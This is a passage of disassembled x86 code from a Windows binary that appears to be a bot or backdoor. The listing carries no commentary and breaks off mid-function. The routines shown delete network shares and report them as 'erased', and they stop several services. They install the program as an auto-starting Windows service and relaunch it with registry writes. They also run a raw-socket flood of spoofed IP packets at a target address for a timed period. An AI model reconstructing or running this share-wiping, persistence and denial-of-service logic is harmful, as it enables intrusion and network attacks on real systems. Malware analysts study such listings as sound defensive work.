--------------------------------------------------------------------------- loc_41AE30: ; CODE XREF: sub_41AD33+75j ; sub_41AD33+80j mov edi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+arg_0], ebx jb short loc_41AEB7 loc_41AE3B: ; CODE XREF: sub_41AD33+182j mov esi, [edi] push esi call sub_424B08 cmp word ptr [esi+eax*2-2], 24h pop ecx jnz short loc_41AEAE push 0 push esi push 0 call dword_4541CC test eax, eax jnz short loc_41AEAE cmp [ebp+arg_14], eax jnz short loc_41AEAB cmp [ebp+arg_C], eax jnz short loc_41AEAB cmp [ebp+arg_10], eax jz short loc_41AEAB cmp [ebp+var_4], eax jle short loc_41AE82 lea eax, [ebp+var_1034] push offset dword_43EA04 push eax call sub_423270 pop ecx pop ecx loc_41AE82: ; CODE XREF: sub_41AD33+13Aj push dword ptr [edi] lea eax, [ebp+var_2034] push offset off_44777C push eax call sub_422063 lea eax, [ebp+var_2034] push eax lea eax, [ebp+var_1034] push eax call sub_423270 add esp, 14h loc_41AEAB: ; CODE XREF: sub_41AD33+12Bj ; sub_41AD33+130j ... inc [ebp+var_4] loc_41AEAE: ; CODE XREF: sub_41AD33+117j ; sub_41AD33+126j add edi, 28h inc ebx cmp ebx, [ebp+arg_0] jbe short loc_41AE3B loc_41AEB7: ; CODE XREF: sub_41AD33+106j push [ebp+var_8] call dword_4543A0 xor ebx, ebx loc_41AEC2: ; CODE XREF: sub_41AD33+F8j cmp [ebp+var_14], 0EAh jz loc_41AD85 cmp [ebp+arg_10], ebx jz short loc_41AF40 cmp [ebp+arg_14], ebx jnz loc_41B0AB cmp [ebp+arg_C], ebx jnz loc_41B0AB cmp [ebp+var_4], ebx jnz short loc_41AEFA loc_41AEEB: ; CODE XREF: sub_41AD33+222j push offset aErased ; "erased" push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp loc_41B05D ; --------------------------------------------------------------------------- loc_41AEFA: ; CODE XREF: sub_41AD33+1B6j push [ebp+var_4] push offset aErased ; "erased" push offset aTotalSharesSD ; " Total shares: [%s: %d]" loc_41AF07: ; CODE XREF: sub_41AD33+348j lea eax, [ebp+var_2034] push eax call sub_422063 lea eax, [ebp+var_2034] push eax lea eax, [ebp+var_1034] push eax call sub_423270 lea eax, [ebp+var_1034] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_4104F6 add esp, 24h jmp loc_41B0AB ; --------------------------------------------------------------------------- loc_41AF40: ; CODE XREF: sub_41AD33+19Fj cmp [ebp+arg_14], ebx jnz loc_41B0AB cmp [ebp+arg_C], ebx jnz loc_41B0AB cmp [ebp+var_4], ebx jz short loc_41AEEB push [ebp+var_4] push offset aErased ; "erased" push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." push offset aSTotalSharesSD ; "%s Total shares %s: [%d]" jmp loc_41B09D ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41AD33+1Bj cmp [ebp+arg_14], ebx mov edi, offset aCreated ; "created" jnz short loc_41AF97 cmp [ebp+arg_C], ebx jnz short loc_41AF97 push edi push offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" lea eax, [ebp+var_1034] push offset dword_447780 push eax call sub_422063 add esp, 10h loc_41AF97: ; CODE XREF: sub_41AD33+243j ; sub_41AD33+248j mov [ebp+arg_0], ebx xor esi, esi loc_41AF9C: ; CODE XREF: sub_41AD33+30Aj mov eax, off_4471F0[esi] mov [ebp+var_30], ebx mov [ebp+var_34], eax mov eax, dword_4471F4[esi] mov [ebp+var_1C], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_34] push eax push 2 push ebx mov [ebp+var_2C], offset aUnloading ; "Unloading" mov [ebp+var_28], ebx mov [ebp+var_24], 4 mov [ebp+var_20], ebx mov [ebp+var_18], ebx call dword_4541EC test eax, eax jnz short loc_41B034 cmp [ebp+arg_14], ebx jnz short loc_41B031 cmp [ebp+arg_C], ebx jnz short loc_41B031 cmp [ebp+arg_10], ebx jz short loc_41B031 cmp [ebp+var_8], ebx jle short loc_41B004 lea eax, [ebp+var_1034] push offset dword_43EA04 push eax call sub_423270 pop ecx pop ecx loc_41B004: ; CODE XREF: sub_41AD33+2BCj push off_4471F0[esi] lea eax, [ebp+var_2034] push offset off_44777C push eax call sub_422063 lea eax, [ebp+var_2034] push eax lea eax, [ebp+var_1034] push eax call sub_423270 add esp, 14h loc_41B031: ; CODE XREF: sub_41AD33+2ADj ; sub_41AD33+2B2j ... inc [ebp+var_8] loc_41B034: ; CODE XREF: sub_41AD33+2A8j add esi, 8 cmp esi, 138h jb loc_41AF9C cmp [ebp+arg_10], ebx jz short loc_41B080 cmp [ebp+arg_14], ebx jnz short loc_41B0AB cmp [ebp+arg_C], ebx jnz short loc_41B0AB cmp [ebp+var_8], ebx jnz short loc_41B072 loc_41B057: ; CODE XREF: sub_41AD33+35Aj push edi push offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41B05D: ; CODE XREF: sub_41AD33+1C2j push offset aSNoSharesS_ ; "%s No shares %s." push [ebp+arg_8] push [ebp+arg_4] call sub_4104F6 add esp, 14h jmp short loc_41B0AB ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41AD33+322j push [ebp+var_8] push edi push offset aTotalSharesS_0 ; " Total shares [%s: %d]" jmp loc_41AF07 ; --------------------------------------------------------------------------- loc_41B080: ; CODE XREF: sub_41AD33+313j cmp [ebp+arg_C], ebx jnz short loc_41B0AB cmp [ebp+arg_14], ebx jnz short loc_41B0AB cmp [ebp+var_8], ebx jz short loc_41B057 push [ebp+var_8] push edi push offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" push offset aSTotalShares_0 ; "%s Total shares [%s: %d]" loc_41B09D: ; CODE XREF: sub_41AD33+236j push [ebp+arg_8] push [ebp+arg_4] call sub_4104F6 add esp, 18h loc_41B0AB: ; CODE XREF: sub_41AD33+1A4j ; sub_41AD33+1ADj ... pop edi pop esi pop ebx leave retn sub_41AD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B0 proc near ; CODE XREF: sub_41B226+3Dp ; sub_41B226+93p var_24 = byte ptr -24h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor edi, edi mov [ebp+var_4], edi mov esi, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." loc_41B0C3: ; CODE XREF: sub_41B0B0+119j push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call dword_454304 ; OpenSCManagerA push 0F01FFh mov [ebp+var_8], eax push off_4428A8[edi] push eax call dword_4541D4 ; OpenServiceA mov ebx, eax test ebx, ebx jnz short loc_41B12C call dword_42F068 ; RtlGetLastWin32Error cmp eax, 424h jnz loc_41B1B3 xor eax, eax cmp [ebp+arg_C], eax jz loc_41B1B3 cmp [ebp+arg_10], eax jnz loc_41B1B3 cmp [ebp+arg_8], eax jnz loc_41B1B3 push off_4428BC[edi] push esi push offset aSTheSServiceDo ; "%s The %s service does not exist." jmp short loc_41B1A5 ; --------------------------------------------------------------------------- loc_41B12C: ; CODE XREF: sub_41B0B0+3Ej lea eax, [ebp+var_24] push eax push 1 push ebx call dword_454244 ; ControlService test eax, eax jz short loc_41B17A lea eax, [ebp+var_24] push eax push 1 push ebx call dword_454244 ; ControlService xor eax, eax cmp [ebp+arg_C], eax jz short loc_41B175 cmp [ebp+arg_10], eax jnz short loc_41B175 cmp [ebp+arg_8], eax jnz short loc_41B175 push off_4428BC[edi] push esi push offset aSSServiceStopp ; "%s %s service stopped." push [ebp+arg_4] push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_41B175: ; CODE XREF: sub_41B0B0+9Fj ; sub_41B0B0+A4j ... inc [ebp+var_4] jmp short loc_41B1B3 ; --------------------------------------------------------------------------- loc_41B17A: ; CODE XREF: sub_41B0B0+8Bj call dword_42F068 ; RtlGetLastWin32Error cmp eax, 426h jnz short loc_41B1B3 cmp [ebp+arg_C], 0 jz short loc_41B1B3 cmp [ebp+arg_10], 0 jnz short loc_41B1B3 cmp [ebp+arg_8], 0 jnz short loc_41B1B3 push off_4428BC[edi] push esi push offset aSTheSServiceWa ; "%s The %s service was not started." loc_41B1A5: ; CODE XREF: sub_41B0B0+7Aj push [ebp+arg_4] push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_41B1B3: ; CODE XREF: sub_41B0B0+4Bj ; sub_41B0B0+56j ... push ebx call dword_4541F0 ; CloseServiceHandle push [ebp+var_8] call dword_4541F0 ; CloseServiceHandle add edi, 4 cmp edi, 14h jl loc_41B0C3 xor eax, eax cmp [ebp+var_4], eax jnz short loc_41B1FB cmp [ebp+arg_10], eax jnz short loc_41B221 cmp [ebp+arg_8], eax jnz short loc_41B221 cmp [ebp+arg_C], eax jnz short loc_41B221 push esi push offset aSNoServicesSto ; "%s No services stopped." push [ebp+arg_4] push [ebp+arg_0] call sub_4104F6 add esp, 10h jmp short loc_41B221 ; --------------------------------------------------------------------------- loc_41B1FB: ; CODE XREF: sub_41B0B0+124j cmp [ebp+arg_10], eax jnz short loc_41B221 cmp [ebp+arg_8], eax jnz short loc_41B221 cmp [ebp+arg_C], eax jnz short loc_41B221 push [ebp+var_4] push esi push offset aSTotalServices ; "%s Total services stopped: %d" push [ebp+arg_4] push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_41B221: ; CODE XREF: sub_41B0B0+129j ; sub_41B0B0+12Ej ... pop edi pop esi pop ebx leave retn sub_41B0B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B226 proc near ; DATA XREF: sub_403B2C+7359o ; sub_412267+11Co var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = dword ptr -1BCh var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_190 = dword ptr -190h var_18C = dword ptr -18Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h mov eax, [ebp+arg_0] push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_240] rep movsd xor edi, edi xor esi, esi inc edi cmp [ebp+var_1A8], esi mov [eax+0BCh], edi jz short loc_41B28E loc_41B256: ; CODE XREF: sub_41B226+66j cmp dword_4543E8, esi jnz short loc_41B281 push edi push esi push edi push esi push esi call sub_41B0B0 push edi push esi push edi push esi push esi push edi call sub_41AA69 push edi push esi push edi push esi push esi push edi call sub_41AD33 add esp, 44h loc_41B281: ; CODE XREF: sub_41B226+36j push 927C0h call dword_42F15C ; Sleep jmp short loc_41B256 ; --------------------------------------------------------------------------- loc_41B28E: ; CODE XREF: sub_41B226+2Ej cmp dword_4543E8, esi mov edi, [ebp+var_240] jnz short loc_41B304 cmp [ebp+var_1AC], esi jz short loc_41B2C1 push esi lea eax, [ebp+var_23C] push [ebp+var_190] push [ebp+var_18C] push eax push edi call sub_41B0B0 add esp, 14h loc_41B2C1: ; CODE XREF: sub_41B226+7Cj push esi lea eax, [ebp+var_23C] push [ebp+var_190] push [ebp+var_18C] push eax push edi push [ebp+var_1AC] call sub_41AA69 push esi lea eax, [ebp+var_23C] push [ebp+var_190] push [ebp+var_18C] push eax push edi push [ebp+var_1AC] call sub_41AD33 add esp, 30h loc_41B304: ; CODE XREF: sub_41B226+74j push [ebp+var_1BC] call sub_41C059 pop ecx push esi call dword_42F150 ; ExitThread pop edi pop esi loc_41B319: ; DATA XREF: sub_41B387+12o cmp [esp+244h+var_240], 5 push esi jnz short loc_41B368 mov esi, offset dword_4554B0 mov ecx, esi call sub_411123 test al, al jz short loc_41B35E push offset aSystemShutting ; "System shutting down." push esi call sub_41015C pop ecx pop ecx push 1F4h call dword_42F15C ; Sleep mov ecx, esi call sub_41012A call dword_454258 ; WSACleanup push 0 call dword_42F06C ; ExitProcess loc_41B35E: ; CODE XREF: sub_41B226+109j mov dword_46C3F0, 7 loc_41B368: ; CODE XREF: sub_41B226+F9j push offset dword_46C3EC push dword_46C3E8 call dword_45426C ; SetServiceStatus test eax, eax jnz short loc_41B383 call dword_42F068 ; RtlGetLastWin32Error loc_41B383: ; CODE XREF: sub_41B226+155j pop esi retn 4 sub_41B226 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B387 proc near ; DATA XREF: sub_4120E9+4Do var_4 = byte ptr -4 push ecx push esi push edi push 4 xor esi, esi pop edi mov dword_46C3EC, 30h push offset loc_41B319 push offset dword_439068 mov dword_46C3F0, 2 mov dword_46C3F4, edi mov dword_46C3F8, esi mov dword_46C3FC, esi mov dword_46C400, esi mov dword_46C404, esi call dword_454328 ; RegisterServiceCtrlHandlerA push offset dword_46C3EC push eax mov dword_46C3E8, eax mov dword_46C3F0, edi mov dword_46C400, esi mov dword_46C404, esi call dword_45426C ; SetServiceStatus lea eax, [esp+0Ch+var_4] push eax push esi push esi push offset sub_41B537 push esi push esi call dword_42F158 ; CreateThread mov edi, eax cmp edi, esi jz short loc_41B41E push 0FFFFFFFFh push edi call dword_42F064 ; WaitForSingleObject push edi call dword_42F038 ; CloseHandle loc_41B41E: ; CODE XREF: sub_41B387+85j pop edi xor eax, eax pop esi pop ecx retn sub_41B387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B424 proc near ; CODE XREF: sub_4120E9+122p ; sub_4120E9+170p var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push esi push edi push [ebp+arg_0] lea eax, [ebp+var_104] push offset aS_3 ; "\"%s\"" push eax call sub_422063 add esp, 0Ch xor esi, esi push 2 push esi push esi call dword_454304 ; OpenSCManagerA cmp eax, esi mov dword_46C3E4, eax jnz short loc_41B464 push [ebp+arg_0] call sub_41B69D pop ecx loc_41B464: ; CODE XREF: sub_41B424+35j push esi push esi push esi push esi lea eax, [ebp+var_104] push esi push eax push esi push 2 push 110h push 0F01FFh push offset dword_439098 push offset dword_439068 push dword_46C3E4 call dword_45437C ; CreateServiceA mov edi, eax cmp edi, esi jnz short loc_41B4B8 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 436h jz short loc_41B4C3 cmp eax, 431h jz short loc_41B4C3 push [ebp+arg_0] call sub_41B69D pop ecx jmp short loc_41B4C8 ; --------------------------------------------------------------------------- loc_41B4B8: ; CODE XREF: sub_41B424+73j push offset dword_4390C8 call sub_41B575 pop ecx loc_41B4C3: ; CODE XREF: sub_41B424+80j ; sub_41B424+87j call sub_41B4E1 loc_41B4C8: ; CODE XREF: sub_41B424+92j push edi call dword_4541F0 ; CloseServiceHandle push dword_46C3E4 call dword_4541F0 ; CloseServiceHandle pop edi xor eax, eax pop esi leave retn sub_41B424 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E1 proc near ; CODE XREF: sub_41B424:loc_41B4C3p push esi push 0F003Fh push 0 push 0 call dword_454304 ; OpenSCManagerA test eax, eax mov dword_46C3E4, eax jz short loc_41B533 push 0F01FFh push offset dword_439068 push eax call dword_4541D4 ; OpenServiceA mov esi, eax test esi, esi jz short loc_41B533 push 0 push 0 push esi call dword_4541DC ; StartServiceA test eax, eax jz short loc_41B533 push dword_46C3E4 call dword_4541F0 ; CloseServiceHandle push esi call dword_4541F0 ; CloseServiceHandle loc_41B533: ; CODE XREF: sub_41B4E1+17j ; sub_41B4E1+2Ej ... xor eax, eax pop esi retn sub_41B4E1 endp ; =============== S U B R O U T I N E ======================================= sub_41B537 proc near ; DATA XREF: sub_41B387+74o var_4 = byte ptr -4 push ecx push esi push edi lea eax, [esp+0Ch+var_4] xor edi, edi push eax push edi push edi push offset sub_412267 push edi push edi call dword_42F158 ; CreateThread mov esi, eax cmp esi, edi jnz short loc_41B55E pop edi xor eax, eax pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- loc_41B55E: ; CODE XREF: sub_41B537+1Dj push 0FFFFFFFFh push esi call dword_42F064 ; WaitForSingleObject push esi call dword_42F038 ; CloseHandle push edi call dword_42F150 ; ExitThread sub_41B537 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B575 proc near ; CODE XREF: sub_41B424+99p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi xor edi, edi xor ebx, ebx push 0F003Fh inc edi push ebx push ebx mov [ebp+var_8], edi call dword_454304 ; OpenSCManagerA cmp eax, ebx mov dword_46C3E4, eax jz short loc_41B600 mov esi, offset dword_439068 push 0F01FFh push esi push eax call dword_4541D4 ; OpenServiceA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B600 push dword_46C3E4 call dword_454208 ; LockServiceDatabase cmp eax, ebx mov [ebp+var_14], eax jnz short loc_41B612 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 41Fh jnz short loc_41B600 mov ebx, 10Ch push ebx push 40h call dword_42F114 ; LocalAlloc test eax, eax mov [ebp+var_C], eax jz short loc_41B600 lea ecx, [ebp+var_18] push ecx push ebx push eax push dword_46C3E4 call dword_454284 ; QueryServiceLockStatusA test eax, eax jnz short loc_41B607 loc_41B600: ; CODE XREF: sub_41B575+25j ; sub_41B575+3Ej ... xor eax, eax jmp loc_41B698 ; --------------------------------------------------------------------------- loc_41B607: ; CODE XREF: sub_41B575+89j push [ebp+var_C] call dword_42F030 ; LocalFree xor ebx, ebx loc_41B612: ; CODE XREF: sub_41B575+51j push 2 push esi push dword_46C3E4 call dword_4541D4 ; OpenServiceA mov dword_46C3E4, eax lea eax, [ebp+var_20] mov [ebp+var_24], eax lea eax, [ebp+var_34] push eax push 2 push [ebp+var_4] mov [ebp+var_1C], 0BB8h mov [ebp+var_20], edi mov [ebp+var_28], edi mov [ebp+var_2C], ebx mov [ebp+var_30], ebx mov [ebp+var_34], 0Ah call dword_4543CC ; ChangeServiceConfig2A test eax, eax jnz short loc_41B65C mov [ebp+var_8], ebx loc_41B65C: ; CODE XREF: sub_41B575+E2j mov eax, [ebp+arg_0] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push edi push [ebp+var_4] call dword_4543CC ; ChangeServiceConfig2A test eax, eax jnz short loc_41B677 mov [ebp+var_8], ebx loc_41B677: ; CODE XREF: sub_41B575+FDj push [ebp+var_14] call dword_45432C ; UnlockServiceDatabase push [ebp+var_4] call dword_4541F0 ; CloseServiceHandle push dword_46C3E4 call dword_4541F0 ; CloseServiceHandle mov eax, [ebp+var_8] loc_41B698: ; CODE XREF: sub_41B575+8Dj pop edi pop esi pop ebx leave retn sub_41B575 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B69D proc near ; CODE XREF: sub_41B424+3Ap ; sub_41B424+8Cp var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_15B = byte ptr -15Bh var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 364h push ebx push esi push edi lea eax, [ebp+var_364] push 104h xor ebx, ebx push eax push ebx call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA push 40h xor eax, eax pop ecx lea edi, [ebp+var_15B] mov [ebp+var_15C], bl push ebx rep stosd push dword_439018 stosw stosb lea eax, [ebp+var_15C] push eax push ebx call dword_42F234 mov esi, dword_42F04C lea eax, [ebp+var_15C] push eax push offset dword_4553A8 call esi ; dword_42F04C lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax call esi ; dword_42F04C mov esi, offset loc_439030 lea eax, [ebp+var_260] push esi push eax push offset dword_43C270 push [ebp+arg_0] call sub_422063 lea eax, [ebp+var_260] push esi push eax call sub_41F01F add esp, 18h test eax, eax jz loc_41B7F6 push 1 mov edi, offset byte_439233 push [ebp+arg_0] mov esi, offset dword_439134 push edi push esi push 80000001h call sub_41A8F2 push 1 push [ebp+arg_0] push edi push esi push dword_439130 call sub_41A8F2 push 10h lea eax, [ebp+var_14] push ebx push eax call sub_4221F0 push 44h lea eax, [ebp+var_58] pop esi push esi push ebx push eax call sub_4221F0 add esp, 40h lea eax, [ebp+var_14] mov [ebp+var_58], esi xor esi, esi push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_260] push eax inc esi push ebx push 28h push esi push ebx push ebx push ebx push [ebp+arg_0] mov [ebp+var_4C], offset byte_44D6A4 mov [ebp+var_2C], esi mov [ebp+var_28], bx call dword_42F078 ; CreateProcessA test eax, eax jz short loc_41B7EF push 0C8h call dword_42F15C ; Sleep push [ebp+var_14] mov esi, dword_42F038 call esi ; dword_42F038 push [ebp+var_10] call esi ; dword_42F038 call dword_454258 ; WSACleanup push ebx call dword_42F06C ; ExitProcess loc_41B7EF: ; CODE XREF: sub_41B69D+128j push esi call dword_42F06C ; ExitProcess loc_41B7F6: ; CODE XREF: sub_41B69D+A3j lea eax, [ebp+var_4] push eax push ebx push ebx push offset sub_412267 push ebx push ebx call dword_42F158 ; CreateThread mov esi, eax cmp esi, ebx jz short loc_41B81F push 0FFFFFFFFh push esi call dword_42F064 ; WaitForSingleObject push esi call dword_42F038 ; CloseHandle loc_41B81F: ; CODE XREF: sub_41B69D+170j pop edi pop esi pop ebx leave retn sub_41B69D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B824 proc near ; DATA XREF: sub_403B2C+5B69o var_1124 = byte ptr -1124h var_124 = dword ptr -124h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1124h call sub_4220C0 mov eax, [ebp+arg_0] push esi push edi push 49h pop ecx mov esi, eax lea edi, [ebp+var_124] rep movsd push [ebp+var_10] mov edi, [ebp+var_124] mov dword ptr [eax+120h], 1 lea eax, [ebp+var_A0] push [ebp+var_C] push eax push edi push [ebp+var_8] lea eax, [ebp+var_120] push [ebp+var_20] push [ebp+var_14] push [ebp+var_18] push [ebp+var_1C] push eax call sub_41B8E7 push eax push offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI." lea eax, [ebp+var_1124] push offset aSDoneOk_ ; "%s Done Ok." push eax call sub_422063 xor esi, esi add esp, 38h cmp [ebp+var_C], esi jnz short loc_41B8B9 cmp [ebp+var_10], esi jnz short loc_41B8BE lea eax, [ebp+var_1124] push eax lea eax, [ebp+var_A0] push eax push edi call sub_4104F6 add esp, 0Ch loc_41B8B9: ; CODE XREF: sub_41B824+77j cmp [ebp+var_10], esi jz short loc_41B8D5 loc_41B8BE: ; CODE XREF: sub_41B824+7Cj lea eax, [ebp+var_1124] push eax lea eax, [ebp+var_A0] push eax push edi call sub_410491 add esp, 0Ch loc_41B8D5: ; CODE XREF: sub_41B824+98j push [ebp+var_20] call sub_41C059 pop ecx push esi call dword_42F150 ; ExitThread pop edi pop esi sub_41B824 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8E7 proc near ; CODE XREF: sub_41B824+53p var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 94h push ebx push esi push edi xor ecx, ecx push 4 inc ecx xor ebx, ebx pop edx xor eax, eax cmp [ebp+arg_14], ecx lea edi, [ebp+var_50] mov [ebp+var_84], ebx mov [ebp+var_80], ecx mov [ebp+var_7C], 2 mov [ebp+var_78], edx mov [ebp+var_74], 6 mov [ebp+var_70], 8 mov [ebp+var_6C], 0Ch mov [ebp+var_68], 0Eh mov [ebp+var_64], 15h mov [ebp+var_60], 2Ch mov [ebp+var_5C], 6Fh mov [ebp+var_58], 0FFh mov [ebp+var_54], ebx stosd mov esi, 200h lea edi, [ebp+var_20] mov [ebp+var_48], ebx mov [ebp+var_44], ebx mov [ebp+var_40], ebx mov [ebp+var_3C], esi mov [ebp+var_38], 2 mov [ebp+var_34], edx mov [ebp+var_30], 10h mov [ebp+var_2C], 1A0Ah mov [ebp+var_28], ecx mov [ebp+var_24], ebx mov [ebp+var_18], ecx stosd jnz short loc_41B999 push offset dword_4552D0 call sub_4140CF pop ecx mov ebx, eax jmp short loc_41B9BD ; --------------------------------------------------------------------------- loc_41B999: ; CODE XREF: sub_41B8E7+A1j mov edi, 100h push edi call sub_423F55 pop ecx mov ebx, eax push edi push ebx call dword_454324 ; gethostname push ebx call dword_454398 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov ebx, [eax] loc_41B9BD: ; CODE XREF: sub_41B8E7+B0j push 0FFh push 3 push 2 call dword_42F29C ; socket lea ecx, [ebp+var_18] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+arg_14], eax call dword_42F2B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_41BA1B push [ebp+arg_14] call dword_42F298 ; closesocket push [ebp+arg_10] call sub_41C059 pop ecx mov esi, offset dword_439638 mov ecx, [ebp+arg_18] push esi call sub_41074B mov ecx, [ebp+arg_18] push offset dword_43963C push esi call sub_410720 xor eax, eax jmp loc_41BB8A ; --------------------------------------------------------------------------- loc_41BA1B: ; CODE XREF: sub_41B8E7+FDj push 8 call sub_41C235 test eax, eax pop ecx jle short loc_41BA44 push offset aStopped_ ; "Stopped." push 8 push edi push edi push [ebp+arg_24] push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_1C] call sub_41C090 add esp, 20h loc_41BA44: ; CODE XREF: sub_41B8E7+13Ej push esi call sub_422F79 mov edi, dword_42F164 pop ecx mov [ebp+arg_18], eax call edi ; dword_42F164 push [ebp+arg_0] mov [ebp+arg_10], eax call dword_45434C ; inet_addr push [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_94], 2 call dword_42F2B8 ; ntohs mov [ebp+var_92], ax jmp loc_41BB5E ; --------------------------------------------------------------------------- loc_41BA86: ; CODE XREF: sub_41B8E7+288j call sub_4220FC cdq mov ecx, 0FFh and ebx, 0FFFFFFh idiv ecx shl edx, 18h or ebx, edx call sub_4220FC cdq mov ecx, 0F4h idiv ecx mov [ebp+var_4C], edx call sub_4220FC cdq mov ecx, 1FA4h mov [ebp+var_14], 45h idiv ecx mov [ebp+var_13], 4 mov [ebp+var_1C], edx call sub_4220FC mov [ebp+var_10], ax call sub_4220FC push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_48] push eax call dword_454314 ; ntohs push esi mov [ebp+var_E], ax call dword_454314 ; ntohs or [ebp+var_C], 0FFh mov [ebp+var_12], ax call sub_4220FC push 0Eh mov [ebp+var_8], ebx cdq pop ecx idiv ecx push [ebp+arg_0] mov al, byte ptr [ebp+edx*4+var_84] mov [ebp+var_B], al call dword_45434C ; inet_addr mov [ebp+var_4], eax lea eax, [ebp+var_14] push 14h push eax call sub_414271 mov [ebp+var_A], ax lea eax, [ebp+var_14] push 14h push eax push [ebp+arg_18] call sub_4223F0 add esp, 14h lea eax, [ebp+var_94] push 10h push eax push 0 push esi push [ebp+arg_18] push [ebp+arg_14] call dword_454370 ; sendto push [ebp+arg_C] call dword_42F15C ; Sleep loc_41BB5E: ; CODE XREF: sub_41B8E7+19Aj call edi ; dword_42F164 sub eax, [ebp+arg_10] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+arg_8] jbe loc_41BA86 push [ebp+arg_18] call sub_4230B3 pop ecx push [ebp+arg_14] call dword_4543AC ; closesocket xor eax, eax inc eax loc_41BB8A: ; CODE XREF: sub_41B8E7+12Fj pop edi pop esi pop ebx leave retn sub_41B8E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB8F proc near ; DATA XREF: sub_403B2C+5DA7o var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_14C = byte ptr -14Ch var_CC = dword ptr 